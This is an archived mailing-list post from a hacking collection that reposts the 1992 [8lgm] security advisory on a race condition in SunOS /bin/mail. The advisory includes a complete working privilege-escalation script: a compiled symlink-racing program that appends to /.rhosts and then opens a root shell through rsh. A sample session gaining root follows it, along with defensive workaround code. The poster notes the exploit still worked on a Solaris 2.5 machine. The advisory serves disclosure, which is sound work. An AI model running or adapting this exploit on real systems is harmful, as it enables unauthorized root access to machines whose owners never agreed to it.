home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / sol_mailx.txt < prev    next >
Text File  |  1998-07-17  |  13KB  |  415 lines

  1. It's a very very old hole in /bin/mail that allows race conditions in
  2. which .rhosts files can be created...
  3.  
  4. I would have thought this was fixed by 2.5, but it wasn't. My boss just a
  5. few minutes ago exploited it on a sol2.5 machine.
  6.  
  7. ===========================================================================
  8.                 [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992
  9.  
  10. PROGRAM:
  11.  
  12.         binmail(1)        (/usr/bin/mail)
  13.  
  14. VULNERABLE OS's:
  15.  
  16.         SunOS 4.1.x
  17.  
  18.         (Possibly other platforms - see DISCUSSION)
  19.  
  20. DESCRIPTION:
  21.  
  22.         A race condition exists in binmail(1), which allows files to
  23.         be created in arbitrary places on the filesystem.  These files
  24.         can be owned by arbitrary (usually system) users.
  25.  
  26. IMPACT:
  27.  
  28.         Any user with access to binmail(1) can become root.
  29.  
  30. REPEAT BY:
  31.  
  32.         This example demonstrates how to become root on most affected
  33.         machines by creating/appending-to root's .rhosts file.  Please
  34.         do not do this unless you have permission.
  35.  
  36.         Create the following file, 'mailscript':
  37.  
  38. 8<--------------------------- cut here ----------------------------
  39. #!/bin/sh
  40. #
  41. # Syntax: mailscript user target-file rsh-user
  42. #
  43. # This exploits a flaw in SunOS binmail(1), and attempts
  44. # to become the specified 'user', by creating a .rhosts
  45. # file and using rsh.
  46. #
  47. # Written 1992 by [8LGM]
  48. # Please do not use this script without permission.
  49. #
  50. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  51. IFS=" "                          export IFS
  52.  
  53. PROG="`basename $0`"
  54. SPOOLDIR="/var/spool/mail"
  55.  
  56. # Check args
  57. if [ $# -ne 3 ]; then
  58.         echo "Syntax: $PROG user target-file rsh-user"
  59.         exit 1
  60. fi
  61. TARGET="$1"
  62. TARGET_FILE="$2"
  63. RSH_USER="$3"
  64.  
  65. # Check we're on SunOS
  66. if [ "x`uname -s`" != "xSunOS" ]; then
  67.         echo "Sorry, this only works on SunOS"
  68.         exit 1
  69. fi
  70.  
  71. # Check user exists
  72. grep "^$TARGET:" /etc/passwd >/dev/null 2>&1
  73. if [ $? -ne 0 ]; then
  74.         echo "$PROG: Warning, $TARGET not in local passwd file"
  75.         # We continue though, might be in the YP passwd file
  76. fi
  77.  
  78. # Check target file
  79. if [ -f $TARGET_FILE ]; then
  80.         OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null
  81.         echo "$PROG: Warning, $TARGET_FILE already exists, appending"
  82. else
  83.         OLD_TARGET_LEN=0
  84. fi
  85.  
  86. # Delete spool file if its a link, and we are able
  87. if [ -h "$SPOOLDIR/$TARGET" ]; then
  88.         rm -f "$SPOOLDIR/$TARGET"
  89.         # Dont worry about errors, we catch it below
  90. fi
  91.  
  92. # Check mail file
  93. if [ -f "$SPOOLDIR/$TARGET" ]; then
  94.         echo "$PROG: ${TARGET}'s mail file exists."
  95.         exit 1
  96. fi
  97.  
  98. # Make the race program
  99. cat >mailrace.c << 'EOF'
  100. #include <stdio.h>
  101.  
  102. main(argc,argv)
  103. int argc;
  104. char *argv[];
  105. {
  106.         if (argc != 3) {
  107.                 fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
  108.                 exit(1);
  109.         }
  110.  
  111.         for (;;) {
  112.                 unlink(argv[1]);
  113.                 symlink(argv[2], argv[1]);
  114.         }
  115. }
  116. EOF
  117. cc -o mailrace mailrace.c
  118.  
  119. # Check we now have mailrace
  120. if [ ! -x "mailrace" ]; then
  121.         echo "$PROG: couldnt compile mailrace.c - check it out"
  122.         exit 1
  123. fi
  124.  
  125. # Start mailrace
  126. ./mailrace $SPOOLDIR/$TARGET $TARGET_FILE &
  127. RACE_PID=$!
  128.  
  129. # Send mail to the user
  130. NEW_TARGET_LEN=$OLD_TARGET_LEN
  131. while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
  132.         echo "Sending mail to $TARGET"
  133.         echo "localhost $USER" | /bin/mail $TARGET
  134.         sleep 10
  135.         kill -STOP $RACE_PID
  136.         rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
  137.         if [ -f $SPOOLDIR/$TARGET ]; then
  138.                 echo "$PROG: Sorry, we lost the race - cant try again."
  139.                 kill -9 $RACE_PID
  140.                 exit 1
  141.         fi
  142.         kill -CONT $RACE_PID
  143.         if [ -f "$TARGET_FILE" ]; then
  144.                 NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null
  145.         else
  146.                 NEW_TARGET_LEN=0
  147.         fi
  148.         if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then
  149.                 echo "We drew the race that time, trying again"
  150.         fi
  151. done
  152.  
  153. # We won the race
  154. kill -9 $RACE_PID
  155. echo "We won the race, becoming $RSH_USER"
  156. rsh localhost -l $RSH_USER sh -i
  157. exit 0
  158. 8<--------------------------- cut here ----------------------------
  159.  
  160.         (Lines marked with > represent user input)
  161.  
  162. Check what root users are on the system:
  163.  
  164. >       % grep :0: /etc/passwd
  165.         root:*:0:1:Operator:/:/bin/csh
  166.         sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
  167.         sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
  168.         +::0:0:::
  169.  
  170. We choose a user with UID 0, but without a /var/spool/mail/<username> file:
  171.  
  172. >       % ls -l /var/spool/mail/sysdiag
  173.         /var/spool/mail/sysdiag not found
  174.  
  175. Execute mailscript.  The user is sysdiag, the target file is /.rhosts, and
  176. the user to rsh to on success is root:
  177.  
  178. >       % chmod 700 mailscript
  179. >       % ./mailscript sysdiag /.rhosts root
  180.         mailscript: Warning, /.rhosts already exists, appending
  181.         Sending mail to sysdiag
  182.         We won the race, becoming root
  183.         ./mailscript: 11051 Killed
  184.         #
  185.  
  186. DISCUSSION:
  187.  
  188.         This problem exists because /var/spool/mail is rwxrwxrwt. (Other
  189.         systems have their spool dir rwxrwxr-x, and run their MUA's sgid
  190.          mail).  Before it opens the mail file, binmail does an lstat(2)
  191.         to check that it is not about to write to a linked file.  The
  192.         intention is to prevent arbitrary files from being created or
  193.         appended to.
  194.  
  195.         However, there exists a window of opportunity between lstat(2)
  196.         and open(2); if a link is created after lstat, open will then
  197.         follow the link.  This is not a straightforward task, as it is
  198.         not possible to predict when to create the link.
  199.  
  200.         Therefore it is necessary to have a program (mailrace) which
  201.         continually creates links and then removes them.  To exploit the
  202.         window of opportunity, it is required that the link has been
  203.         removed before the context switch for lstat, but exists for open.
  204.         There are three possible outcomes for this race:-
  205.  
  206.         1) lstat finds a link - mail returned to sender.
  207.  
  208.         2) link does not exist for lstat, but does for open - file
  209.            created - we win.
  210.  
  211.         3) link does not exist for lstat or open - mailbox created.
  212.            In this case, it is not possible to remove the mailbox
  213.            (as the stick bit is set on /var/spool/mail), so it is
  214.            necessary to choose another target user.
  215.  
  216.         In tests, it would appear that the chances of 1) and 2)
  217.         occurring are approximately equal, with the chance of 3) being
  218.         somewhat lower.
  219.  
  220.         Please note that this vulnerability may exist on other
  221.         platforms where the mail spool directory has mode 777 and
  222.         /bin/mail is setuid root.
  223.  
  224. WORKAROUND & FIX:
  225.  
  226.         1. Contact your vendor for a patch.
  227.  
  228.         2. We have considered several potential workarounds for this
  229.            vulnerability.  The ideal fix would be to remove global write
  230.            access to the mail spool directory.  However, this is not
  231.            possible as programs such as /bin/mail, /usr/ucb/Mail and
  232.            elm require everyone to have write access.  Also it is not
  233.            possible to, for example, change the group ownership of
  234.            /var/spool/mail to mail and give /bin/mail and /usr/ucb/Mail
  235.            setgid mail privilege, as they do not reset their group id
  236.            before forking a shell.
  237.  
  238.            We have therefore decided that the following is the only
  239.            viable method:
  240.  
  241.            i. Ensure that every user maintains a mailbox file.  The
  242.               following program will create a mailbox for every user
  243.               on the system, if one does not currently exist.
  244.  
  245. 8<--------------------------- cut here ----------------------------
  246. /*
  247.  * makemailboxes.c
  248.  *
  249.  * Written 1994 by [8LGM]
  250.  *
  251.  * This program is part of a workaround for the SunOS 4.1.x /bin/mail
  252.  * bug described in the 8LGM Advisory.  This program should be executed
  253.  * as root, and will create a mailbox for each user that doesnt have one.
  254.  * In order for this workaround to be effective, /usr/ucb/Mail also needs
  255.  * to be wrapped with wrapper.c.
  256.  */
  257.  
  258. #include <sys/types.h>
  259. #include <sys/wait.h>
  260. #include <sys/param.h>
  261. #include <sys/file.h>
  262. #include <stdio.h>
  263. #include <unistd.h>
  264. #include <pwd.h>
  265.  
  266. #define MAIL_SPOOL_DIR "/var/spool/mail"
  267.  
  268. main(argc, argv)
  269. int argc;
  270. char *argv[];
  271. {
  272.         int    fd;
  273.         char   path[MAXPATHLEN + 5];
  274.         struct passwd *pw;
  275.  
  276.         umask(0);
  277.         setpwent();
  278.         while (pw = getpwent()) {
  279.                 sprintf(path, "%s/%s", MAIL_SPOOL_DIR, pw->pw_name);
  280.                 if (access(path, F_OK)) {
  281.                         if ((fd = open(path,O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
  282.                                 perror("open");
  283.                         else {
  284.                                 if (fchown(fd, pw->pw_uid, pw->pw_gid))
  285.                                         perror("fchown");
  286.                                 close(fd);
  287.                                 printf("Created %s\n", path);
  288.                         }
  289.                 }
  290.         }
  291.         endpwent();
  292.         exit(0);
  293. }
  294. 8<--------------------------- cut here ----------------------------
  295.  
  296.            ii. /usr/ucb/Mail removes the mailbox file if all mail has
  297.                been read, and the user is not preserving the contents.
  298.                Therefore, we would recommend using the following wrapper
  299.                for Mail, which creates the user's mailbox if it has been
  300.                removed.
  301.  
  302. 8<--------------------------- cut here ----------------------------
  303. /*
  304.  * wrapper.c
  305.  *
  306.  * Written 1994 by [8LGM]
  307.  *
  308.  * This program is part of a workaround for the SunOS 4.1.x /bin/mail
  309.  * bug described in the 8LGM Advisory.  Programs such as /usr/ucb/Mail
  310.  * that will delete the user's mailbox when he/she has no mail need to
  311.  * be wrapped with this.
  312.  *
  313.  * Install as follows:
  314.  *
  315.  *        # cc -O -o wrapper wrapper.c
  316.  *        # mv /usr/ucb/Mail /usr/ucb/Mail.old
  317.  *        # mv /usr/ucb/mail /usr/ucb/mail.old
  318.  *        # cp wrapper /usr/ucb/Mail
  319.  *        # chmod 755 /usr/ucb/Mail
  320.  *        # ln /usr/ucb/Mail /usr/ucb/mail
  321.  *
  322.  * DO NOT INSTALL THIS PROGRAM SET-UID/SET-GID ANYTHING.
  323.  */
  324.  
  325. #include <sys/types.h>
  326. #include <sys/wait.h>
  327. #include <sys/param.h>
  328. #include <sys/file.h>
  329. #include <stdio.h>
  330. #include <unistd.h>
  331. #include <pwd.h>
  332.  
  333. #define MAIL_SPOOL_DIR "/var/spool/mail"
  334.  
  335. main(argc, argv)
  336. int argc;
  337. char *argv[];
  338. {
  339.         pid_t  pid;
  340.         int    status, fd;
  341.         char   path[MAXPATHLEN + 5], *user;
  342.         struct passwd *pw;
  343.  
  344.         if ((pid = fork()) == -1) {
  345.                 perror("fork");
  346.                 exit(1);
  347.         }
  348.  
  349.         sprintf(path, "%s.old", argv[0]);
  350.         if (pid == 0) {
  351.                 execvp(path, argv);
  352.                 perror("execvp");
  353.                 exit(1);
  354.         }
  355.  
  356.         setuid(getuid());     /* Just in case we're suid,
  357.                                  which we shouldnt be */
  358.         if (waitpid(pid, &status, 0) == -1) {
  359.                 perror("waitpid");
  360.                 exit(1);
  361.         }
  362.  
  363.         if ((user = (char*)getenv("USER")) == NULL) {
  364.                 if ((pw = getpwuid(getuid())) == NULL) {
  365.                         fprintf(stderr, "Who are you?!");
  366.                         exit(1);
  367.                 }
  368.                 user = pw->pw_name;
  369.         }
  370.         sprintf(path, "%s/%s", MAIL_SPOOL_DIR, user);
  371.         if (access(path, F_OK)) {
  372.                 if ((fd = open(path, O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
  373.                         perror("open");
  374.                 else
  375.                         close(fd);
  376.         }
  377.         exit(status);
  378. }
  379. 8<--------------------------- cut here ----------------------------
  380.  
  381. FEEDBACK AND CONTACT INFORMATION:
  382.  
  383.         8lgm-bugs@bagpuss.demon.co.uk           (To report security flaws)
  384.  
  385.         8lgm-request@bagpuss.demon.co.uk        (Request for [8lgm] Advisories)
  386.  
  387.         8lgm@bagpuss.demon.co.uk                (General enquiries)
  388.  
  389.         System Administrators are encouraged to contact us for any
  390.         other information they may require about the problems described
  391.         in this advisory.
  392.  
  393.         We welcome reports about which platforms this flaw does or does
  394.         not exist on.
  395.  
  396.         NB: 8lgm-bugs@bagpuss.demon.co.uk is intended to be used by
  397.         people wishing to report which platforms/OS's the bugs in our
  398.         advisories are present on.  Please do *not* send information on
  399.         other bugs to this address - report them to your vendor and/or
  400.         comp.security.unix instead.
  401. ===========================================================================
  402.  
  403.               -----/'[/'[/'[Andy Dills]'\]'\]'\-----
  404.  "Founding member of the Frednet.Support"   Phear the big BEAVIS!
  405. "_THIS_ is my BOOM stick!!!!"  --   That Guy from Army of Darkness
  406.  Work:andy@fred.net---------->(BOFH)<--------Play:andy@beavis.net
  407.         All things BSDish. If it's not BSDish, it's CRAP!
  408.                 Andy's Made Up Quote of The Week:
  409.       "To understand solaris2.5, one must suffer and RTFM."
  410.  
  411.    * Next message: Casper Dik: "Re: Solaris mailx hole"
  412.    * Previous message: Marc Mosko/jfrank/us: "Solaris mailx hole"
  413.    * In reply to: Marc Mosko/jfrank/us: "Solaris mailx hole"
  414.    * Next in thread: Casper Dik: "Re: Solaris mailx hole"
  415.